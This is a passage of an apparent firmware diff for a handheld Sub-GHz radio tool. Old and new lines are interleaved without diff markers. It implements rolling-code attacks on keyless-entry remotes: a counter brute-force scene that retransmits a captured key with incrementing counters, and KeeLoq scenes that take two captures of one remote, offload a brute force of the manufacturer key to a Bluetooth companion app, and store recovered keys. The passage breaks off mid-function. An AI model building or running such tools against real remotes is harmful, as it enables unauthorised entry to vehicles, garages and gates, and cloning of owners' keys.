static void counter_bf_warning_callback(GuiButtonType result, InputType type, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventWarningOk);
|
||||
}
|
||||
}
|
||||
|
||||
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
// Single press toggles start/stop
|
||||
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventStart);
|
||||
}
|
||||
}
|
||||
|
||||
static void counter_bf_draw_warning(SubGhz* subghz) {
|
||||
widget_reset(subghz->widget);
|
||||
widget_add_string_multiline_element(
|
||||
subghz->widget,
|
||||
64,
|
||||
20,
|
||||
AlignCenter,
|
||||
AlignCenter,
|
||||
FontSecondary,
|
||||
"WARNING:\nThis may desync\nyour fob!");
|
||||
widget_add_button_element(
|
||||
subghz->widget,
|
||||
GuiButtonTypeCenter,
|
||||
"OK",
|
||||
counter_bf_warning_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
|
||||
widget_reset(subghz->widget);
|
||||
FuriString* str = furi_string_alloc();
|
||||
furi_string_printf(str,
|
||||
furi_string_printf(
|
||||
str,
|
||||
"Counter BruteForce\n"
|
||||
"Cnt: 0x%08lX\n"
|
||||
"Sent: %lu pkts\n"
|
||||
"Start: 0x%08lX",
|
||||
ctx->current_cnt,
|
||||
ctx->packets_sent,
|
||||
ctx->start_cnt);
|
||||
"Cnt: 0x%06lX\n"
|
||||
"Start: 0x%06lX\n"
|
||||
"Sent: %lu",
|
||||
ctx->current_cnt & 0xFFFFFF,
|
||||
ctx->start_cnt & 0xFFFFFF,
|
||||
ctx->packets_sent);
|
||||
widget_add_string_multiline_element(
|
||||
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary,
|
||||
furi_string_get_cstr(str));
|
||||
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
|
||||
furi_string_free(str);
|
||||
const char* btn_label = ctx->state == CounterBfStateRunning ? "Stop" : "Start";
|
||||
widget_add_button_element(
|
||||
subghz->widget, GuiButtonTypeCenter, btn_label,
|
||||
counter_bf_widget_callback, subghz);
|
||||
subghz->widget,
|
||||
GuiButtonTypeCenter,
|
||||
btn_label,
|
||||
counter_bf_widget_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
||||
if(flipper_format_buffered_file_open_existing(
|
||||
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
||||
uint32_t cnt = ctx->current_cnt & 0xFFFFFF;
|
||||
if(!flipper_format_update_uint32(file_fff, "Cnt", &cnt, 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
|
||||
}
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt write");
|
||||
}
|
||||
flipper_format_free(file_fff);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
|
||||
// Stop any previous TX
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
|
||||
// Use official counter override mechanism
|
||||
subghz_block_generic_global_counter_override_set(ctx->current_cnt);
|
||||
// Increase repeat for stronger signal
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
uint32_t repeat = 20;
|
||||
flipper_format_insert_or_update_uint32(fff, "Repeat", &repeat, 1);
|
||||
uint32_t delta = (ctx->current_cnt - ctx->start_cnt) & 0xFFFFFF;
|
||||
furi_hal_subghz_set_rolling_counter_mult((int32_t)delta);
|
||||
subghz_block_generic_global_counter_override_set(ctx->current_cnt & 0xFFFFFF);
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
uint32_t repeat = 20;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
|
||||
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
subghz_tx_start(subghz, fff);
|
||||
|
||||
ctx->packets_sent++;
|
||||
@@ -78,26 +122,38 @@ void subghz_scene_counter_bf_on_enter(void* context) {
|
||||
|
||||
CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
|
||||
memset(ctx, 0, sizeof(CounterBfContext));
|
||||
ctx->state = CounterBfStateIdle;
|
||||
ctx->state = CounterBfStateWarning;
|
||||
ctx->step = 1;
|
||||
furi_hal_subghz_set_rolling_counter_mult(0);
|
||||
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
uint32_t cnt = 0;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_uint32(fff, "Cnt", &cnt, 1);
|
||||
ctx->current_cnt = cnt;
|
||||
ctx->start_cnt = cnt;
|
||||
{
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
uint32_t cnt = 0;
|
||||
if(flipper_format_read_uint32(fff, "Cnt", &cnt, 1)) {
|
||||
ctx->current_cnt = cnt & 0xFFFFFF;
|
||||
ctx->start_cnt = cnt & 0xFFFFFF;
|
||||
} else {
|
||||
FURI_LOG_W(TAG, "Cnt not in fff after key_load, reading from disk");
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
||||
if(flipper_format_buffered_file_open_existing(
|
||||
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
||||
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
|
||||
ctx->current_cnt = cnt & 0xFFFFFF;
|
||||
ctx->start_cnt = cnt & 0xFFFFFF;
|
||||
}
|
||||
}
|
||||
flipper_format_free(file_fff);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
}
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
|
||||
|
||||
// Disable auto-increment
|
||||
furi_hal_subghz_set_rolling_counter_mult(0);
|
||||
|
||||
// Reload protocol to ensure preset and tx_power are properly configured
|
||||
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
|
||||
|
||||
counter_bf_draw(subghz, ctx);
|
||||
counter_bf_draw_warning(subghz);
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
|
||||
}
|
||||
|
||||
@@ -108,18 +164,25 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
if(!ctx) return false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == CounterBfEventWarningOk) {
|
||||
ctx->state = CounterBfStateIdle;
|
||||
counter_bf_draw(subghz, ctx);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(event.event == CounterBfEventStart) {
|
||||
if(ctx->state == CounterBfStateWarning) return true;
|
||||
|
||||
if(ctx->state != CounterBfStateRunning) {
|
||||
// Start
|
||||
ctx->state = CounterBfStateRunning;
|
||||
ctx->tick_wait = 0;
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
counter_bf_send(subghz, ctx);
|
||||
} else {
|
||||
// Stop
|
||||
ctx->state = CounterBfStateStopped;
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
counter_bf_save(subghz, ctx);
|
||||
}
|
||||
counter_bf_draw(subghz, ctx);
|
||||
return true;
|
||||
@@ -130,25 +193,24 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
if(ctx->tick_wait > 0) {
|
||||
ctx->tick_wait--;
|
||||
} else {
|
||||
// Time to send next packet
|
||||
ctx->current_cnt += ctx->step;
|
||||
ctx->current_cnt = (ctx->current_cnt + ctx->step) & 0xFFFFFF;
|
||||
counter_bf_send(subghz, ctx);
|
||||
counter_bf_save(subghz, ctx);
|
||||
counter_bf_draw(subghz, ctx);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
if(ctx->state == CounterBfStateWarning) {
|
||||
furi_hal_subghz_set_rolling_counter_mult(1);
|
||||
free(ctx);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
|
||||
// Save counter to file
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
|
||||
subghz_save_protocol_to_file(
|
||||
subghz, fff, furi_string_get_cstr(subghz->file_path));
|
||||
|
||||
counter_bf_save(subghz, ctx);
|
||||
furi_hal_subghz_set_rolling_counter_mult(1);
|
||||
free(ctx);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
@@ -160,6 +222,5 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
void subghz_scene_counter_bf_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
widget_reset(subghz->widget);
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
}
|
||||
|
||||
257
applications/main/subghz/scenes/subghz_scene_keeloq_bf2.c
Normal file
@@ -0,0 +1,257 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/subghz/protocols/keeloq.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <dialogs/dialogs.h>
|
||||
|
||||
enum {
|
||||
KlBf2IndexLoadSig1,
|
||||
KlBf2IndexLoadSig2,
|
||||
KlBf2IndexType,
|
||||
KlBf2IndexStartBf,
|
||||
};
|
||||
|
||||
static const char* kl_bf2_type_labels[] = {
|
||||
"Type: Auto (6>7>8)",
|
||||
"Type: 6 (Serial 1)",
|
||||
"Type: 7 (Serial 2)",
|
||||
"Type: 8 (Serial 3)",
|
||||
};
|
||||
static const uint8_t kl_bf2_type_values[] = {0, 6, 7, 8};
|
||||
|
||||
static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_hop) {
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
uint8_t key_data[8] = {0};
|
||||
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
|
||||
uint64_t raw = 0;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
raw = (raw << 8) | key_data[i];
|
||||
}
|
||||
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
|
||||
*out_fix = (uint32_t)(reversed >> 32);
|
||||
*out_hop = (uint32_t)(reversed & 0xFFFFFFFF);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool kl_bf2_is_keeloq(SubGhz* subghz) {
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
FuriString* proto = furi_string_alloc();
|
||||
bool ok = flipper_format_read_string(fff, "Protocol", proto) &&
|
||||
furi_string_equal_str(proto, "KeeLoq");
|
||||
furi_string_free(proto);
|
||||
return ok;
|
||||
}
|
||||
|
||||
static void kl_bf2_submenu_callback(void* context, uint32_t index) {
|
||||
SubGhz* subghz = context;
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
|
||||
}
|
||||
|
||||
static bool kl_bf2_load_signal(SubGhz* subghz, FuriString* out_path) {
|
||||
DialogsFileBrowserOptions browser_options;
|
||||
dialog_file_browser_set_basic_options(
|
||||
&browser_options, SUBGHZ_APP_FILENAME_EXTENSION, &I_sub1_10px);
|
||||
browser_options.base_path = SUBGHZ_APP_FOLDER;
|
||||
|
||||
FuriString* selected = furi_string_alloc();
|
||||
furi_string_set(selected, SUBGHZ_APP_FOLDER);
|
||||
|
||||
bool res = dialog_file_browser_show(subghz->dialogs, selected, selected, &browser_options);
|
||||
|
||||
if(res) {
|
||||
res = subghz_key_load(subghz, furi_string_get_cstr(selected), true);
|
||||
if(res) {
|
||||
furi_string_set(out_path, selected);
|
||||
}
|
||||
}
|
||||
|
||||
furi_string_free(selected);
|
||||
return res;
|
||||
}
|
||||
|
||||
static void kl_bf2_rebuild_menu(SubGhz* subghz) {
|
||||
submenu_reset(subghz->submenu);
|
||||
|
||||
char label1[64];
|
||||
char label2[64];
|
||||
|
||||
if(subghz->keeloq_bf2.sig1_loaded) {
|
||||
FuriString* name = furi_string_alloc();
|
||||
path_extract_filename(subghz->keeloq_bf2.sig1_path, name, true);
|
||||
snprintf(label1, sizeof(label1), "Sig 1: %s", furi_string_get_cstr(name));
|
||||
furi_string_free(name);
|
||||
} else {
|
||||
snprintf(label1, sizeof(label1), "Load Signal 1");
|
||||
}
|
||||
|
||||
if(subghz->keeloq_bf2.sig2_loaded) {
|
||||
FuriString* name = furi_string_alloc();
|
||||
path_extract_filename(subghz->keeloq_bf2.sig2_path, name, true);
|
||||
snprintf(label2, sizeof(label2), "Sig 2: %s", furi_string_get_cstr(name));
|
||||
furi_string_free(name);
|
||||
} else {
|
||||
snprintf(label2, sizeof(label2), "Load Signal 2");
|
||||
}
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu, label1, KlBf2IndexLoadSig1,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
submenu_add_item(
|
||||
subghz->submenu, label2, KlBf2IndexLoadSig2,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
|
||||
int type_idx = 0;
|
||||
for(int i = 0; i < 4; i++) {
|
||||
if(kl_bf2_type_values[i] == subghz->keeloq_bf2.learn_type) {
|
||||
type_idx = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
submenu_add_item(
|
||||
subghz->submenu, kl_bf2_type_labels[type_idx], KlBf2IndexType,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
|
||||
if(subghz->keeloq_bf2.sig1_loaded && subghz->keeloq_bf2.sig2_loaded) {
|
||||
submenu_add_item(
|
||||
subghz->submenu, "Start BF", KlBf2IndexStartBf,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
}
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_bf2_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
subghz->keeloq_bf2.sig1_loaded = false;
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
subghz->keeloq_bf2.learn_type = 0;
|
||||
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
}
|
||||
|
||||
bool subghz_scene_keeloq_bf2_on_event(void* context, SceneManagerEvent event) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KlBf2IndexLoadSig1) {
|
||||
FuriString* path = furi_string_alloc();
|
||||
if(kl_bf2_load_signal(subghz, path)) {
|
||||
if(!kl_bf2_is_keeloq(subghz)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Not a KeeLoq\nprotocol file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t fix, hop;
|
||||
if(!kl_bf2_extract_key(subghz, &fix, &hop)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Cannot read Key\nfrom file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz->keeloq_bf2.fix = fix;
|
||||
subghz->keeloq_bf2.hop1 = hop;
|
||||
subghz->keeloq_bf2.serial = fix & 0x0FFFFFFF;
|
||||
subghz->keeloq_bf2.sig1_loaded = true;
|
||||
furi_string_set(subghz->keeloq_bf2.sig1_path, path);
|
||||
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
}
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
|
||||
} else if(event.event == KlBf2IndexLoadSig2) {
|
||||
if(!subghz->keeloq_bf2.sig1_loaded) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Load Signal 1 first");
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
FuriString* path = furi_string_alloc();
|
||||
if(kl_bf2_load_signal(subghz, path)) {
|
||||
if(!kl_bf2_is_keeloq(subghz)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Not a KeeLoq\nprotocol file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t fix2, hop2;
|
||||
if(!kl_bf2_extract_key(subghz, &fix2, &hop2)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Cannot read Key\nfrom file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t serial2 = fix2 & 0x0FFFFFFF;
|
||||
if(serial2 != subghz->keeloq_bf2.serial) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Serial mismatch!\nMust be same remote");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(hop2 == subghz->keeloq_bf2.hop1) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Same hop code!\nUse a different\ncapture");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz->keeloq_bf2.hop2 = hop2;
|
||||
subghz->keeloq_bf2.sig2_loaded = true;
|
||||
furi_string_set(subghz->keeloq_bf2.sig2_path, path);
|
||||
}
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
|
||||
} else if(event.event == KlBf2IndexType) {
|
||||
uint8_t cur = subghz->keeloq_bf2.learn_type;
|
||||
if(cur == 0) cur = 6;
|
||||
else if(cur == 6) cur = 7;
|
||||
else if(cur == 7) cur = 8;
|
||||
else cur = 0;
|
||||
subghz->keeloq_bf2.learn_type = cur;
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
|
||||
} else if(event.event == KlBf2IndexStartBf) {
|
||||
if(!subghz->keeloq_bf2.sig1_loaded || !subghz->keeloq_bf2.sig2_loaded) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if(!subghz_key_load(
|
||||
subghz,
|
||||
furi_string_get_cstr(subghz->keeloq_bf2.sig1_path),
|
||||
true)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Cannot reload\nSignal 1");
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_bf2_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
submenu_reset(subghz->submenu);
|
||||
}
|
||||
299
applications/main/subghz/scenes/subghz_scene_keeloq_decrypt.c
Normal file
@@ -0,0 +1,299 @@
|
||||
#include "../subghz_i.h"
|
||||
#include "../helpers/subghz_txrx_i.h"
|
||||
#include <lib/subghz/protocols/keeloq.h>
|
||||
#include <lib/subghz/protocols/keeloq_common.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <lib/subghz/environment.h>
|
||||
#include <lib/subghz/subghz_keystore.h>
|
||||
#include <furi.h>
|
||||
#include <bt/bt_service/bt.h>
|
||||
|
||||
#define KL_DECRYPT_EVENT_DONE (0xD2)
|
||||
#define KL_DECRYPT_EVENT_CANDIDATE (0xD3)
|
||||
#define KL_TOTAL_KEYS 0x100000000ULL
|
||||
|
||||
#define KL_MSG_BF_REQUEST 0x10
|
||||
#define KL_MSG_BF_PROGRESS 0x11
|
||||
#define KL_MSG_BF_RESULT 0x12
|
||||
#define KL_MSG_BF_CANCEL 0x13
|
||||
|
||||
typedef struct {
|
||||
SubGhz* subghz;
|
||||
volatile bool cancel;
|
||||
uint32_t start_tick;
|
||||
bool success;
|
||||
FuriString* result;
|
||||
|
||||
uint32_t fix;
|
||||
uint32_t hop;
|
||||
uint32_t serial;
|
||||
uint8_t btn;
|
||||
uint16_t disc;
|
||||
|
||||
uint32_t hop2;
|
||||
|
||||
uint32_t candidate_count;
|
||||
uint64_t recovered_mfkey;
|
||||
uint16_t recovered_type;
|
||||
uint32_t recovered_cnt;
|
||||
|
||||
bool ble_offload;
|
||||
} KlDecryptCtx;
|
||||
|
||||
static void kl_ble_data_received(uint8_t* data, uint16_t size, void* context) {
|
||||
KlDecryptCtx* ctx = context;
|
||||
if(size < 1 || ctx->cancel) return;
|
||||
|
||||
if(data[0] == KL_MSG_BF_PROGRESS && size >= 10) {
|
||||
uint32_t keys_tested, keys_per_sec;
|
||||
memcpy(&keys_tested, data + 2, 4);
|
||||
memcpy(&keys_per_sec, data + 6, 4);
|
||||
|
||||
uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000;
|
||||
uint32_t remaining = (keys_tested > 0) ? (0xFFFFFFFFU - keys_tested) : 0xFFFFFFFFU;
|
||||
uint32_t eta_sec = (keys_per_sec > 0) ? (remaining / keys_per_sec) : 0;
|
||||
uint8_t pct = (uint8_t)((uint64_t)keys_tested * 100 / 0xFFFFFFFFULL);
|
||||
|
||||
subghz_view_keeloq_decrypt_update_stats(
|
||||
ctx->subghz->subghz_keeloq_decrypt, pct, keys_tested, keys_per_sec, elapsed_sec, eta_sec);
|
||||
|
||||
} else if(data[0] == KL_MSG_BF_RESULT && size >= 26) {
|
||||
uint8_t found = data[1];
|
||||
|
||||
if(found == 1) {
|
||||
uint64_t mfkey = 0;
|
||||
uint32_t cnt = 0;
|
||||
memcpy(&mfkey, data + 2, 8);
|
||||
memcpy(&cnt, data + 18, 4);
|
||||
uint16_t learn_type = (size >= 27) ? data[26] : 6;
|
||||
|
||||
ctx->candidate_count++;
|
||||
ctx->recovered_mfkey = mfkey;
|
||||
ctx->recovered_type = learn_type;
|
||||
ctx->recovered_cnt = cnt;
|
||||
|
||||
subghz_view_keeloq_decrypt_update_candidates(
|
||||
ctx->subghz->subghz_keeloq_decrypt, ctx->candidate_count);
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_CANDIDATE);
|
||||
|
||||
} else if(found == 2) {
|
||||
ctx->success = (ctx->candidate_count > 0);
|
||||
view_dispatcher_send_custom_event(
|
||||
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_DONE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void kl_ble_cleanup(KlDecryptCtx* ctx) {
|
||||
if(!ctx->ble_offload) return;
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
bt_set_custom_data_callback(bt, NULL, NULL);
|
||||
furi_record_close(RECORD_BT);
|
||||
ctx->ble_offload = false;
|
||||
}
|
||||
|
||||
static bool kl_ble_start_offload(KlDecryptCtx* ctx) {
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
if(!bt_is_connected(bt)) {
|
||||
furi_record_close(RECORD_BT);
|
||||
return false;
|
||||
}
|
||||
|
||||
bt_set_custom_data_callback(bt, kl_ble_data_received, ctx);
|
||||
|
||||
uint8_t req[18];
|
||||
req[0] = KL_MSG_BF_REQUEST;
|
||||
req[1] = ctx->subghz->keeloq_bf2.learn_type;
|
||||
memcpy(req + 2, &ctx->fix, 4);
|
||||
memcpy(req + 6, &ctx->hop, 4);
|
||||
memcpy(req + 10, &ctx->hop2, 4);
|
||||
memcpy(req + 14, &ctx->serial, 4);
|
||||
bt_custom_data_tx(bt, req, sizeof(req));
|
||||
|
||||
furi_record_close(RECORD_BT);
|
||||
ctx->ble_offload = true;
|
||||
|
||||
subghz_view_keeloq_decrypt_set_status(
|
||||
ctx->subghz->subghz_keeloq_decrypt, "[BT] Offloading...");
|
||||
return true;
|
||||
}
|
||||
|
||||
static void kl_decrypt_view_callback(SubGhzCustomEvent event, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_decrypt_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
KlDecryptCtx* ctx = malloc(sizeof(KlDecryptCtx));
|
||||
memset(ctx, 0, sizeof(KlDecryptCtx));
|
||||
ctx->subghz = subghz;
|
||||
ctx->result = furi_string_alloc_set("No result");
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
|
||||
uint8_t key_data[8] = {0};
|
||||
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
|
||||
uint64_t raw = 0;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
raw = (raw << 8) | key_data[i];
|
||||
}
|
||||
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
|
||||
ctx->fix = (uint32_t)(reversed >> 32);
|
||||
ctx->hop = (uint32_t)(reversed & 0xFFFFFFFF);
|
||||
}
|
||||
|
||||
ctx->serial = ctx->fix & 0x0FFFFFFF;
|
||||
ctx->btn = ctx->fix >> 28;
|
||||
ctx->disc = ctx->serial & 0x3FF;
|
||||
ctx->hop2 = subghz->keeloq_bf2.sig2_loaded ? subghz->keeloq_bf2.hop2 : 0;
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKeeloqDecrypt, (uint32_t)(uintptr_t)ctx);
|
||||
|
||||
subghz_view_keeloq_decrypt_reset(subghz->subghz_keeloq_decrypt);
|
||||
subghz_view_keeloq_decrypt_set_callback(
|
||||
subghz->subghz_keeloq_decrypt, kl_decrypt_view_callback, subghz);
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
|
||||
|
||||
ctx->start_tick = furi_get_tick();
|
||||
|
||||
if(!kl_ble_start_offload(ctx)) {
|
||||
char msg[128];
|
||||
snprintf(msg, sizeof(msg),
|
||||
"No BLE connection!\n"
|
||||
"Connect companion app\n"
|
||||
"and try again.\n\n"
|
||||
"Fix:0x%08lX\nHop:0x%08lX",
|
||||
ctx->fix, ctx->hop);
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, false, msg);
|
||||
}
|
||||
}
|
||||
|
||||
bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event) {
|
||||
SubGhz* subghz = context;
|
||||
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
|
||||
if(!ctx) return false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KL_DECRYPT_EVENT_CANDIDATE) {
|
||||
if(!subghz->keeloq_keys_manager) {
|
||||
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
|
||||
}
|
||||
char key_name[24];
|
||||
snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
|
||||
subghz_keeloq_keys_add(
|
||||
subghz->keeloq_keys_manager,
|
||||
ctx->recovered_mfkey,
|
||||
KEELOQ_LEARNING_SIMPLE,
|
||||
key_name);
|
||||
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
|
||||
|
||||
SubGhzKeystore* env_ks = subghz_environment_get_keystore(
|
||||
subghz->txrx->environment);
|
||||
SubGhzKeyArray_t* env_arr = subghz_keystore_get_data(env_ks);
|
||||
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
|
||||
entry->name = furi_string_alloc_set(key_name);
|
||||
entry->key = ctx->recovered_mfkey;
|
||||
entry->type = KEELOQ_LEARNING_SIMPLE;
|
||||
return true;
|
||||
|
||||
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
|
||||
kl_ble_cleanup(ctx);
|
||||
subghz->keeloq_bf2.sig1_loaded = false;
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
|
||||
if(ctx->success) {
|
||||
furi_string_printf(
|
||||
ctx->result,
|
||||
"Found %lu candidate(s)\n"
|
||||
"Last: %08lX%08lX\n"
|
||||
"Type:%u Cnt:%04lX\n"
|
||||
"Saved to user keys",
|
||||
ctx->candidate_count,
|
||||
(uint32_t)(ctx->recovered_mfkey >> 32),
|
||||
(uint32_t)(ctx->recovered_mfkey & 0xFFFFFFFF),
|
||||
ctx->recovered_type,
|
||||
ctx->recovered_cnt);
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
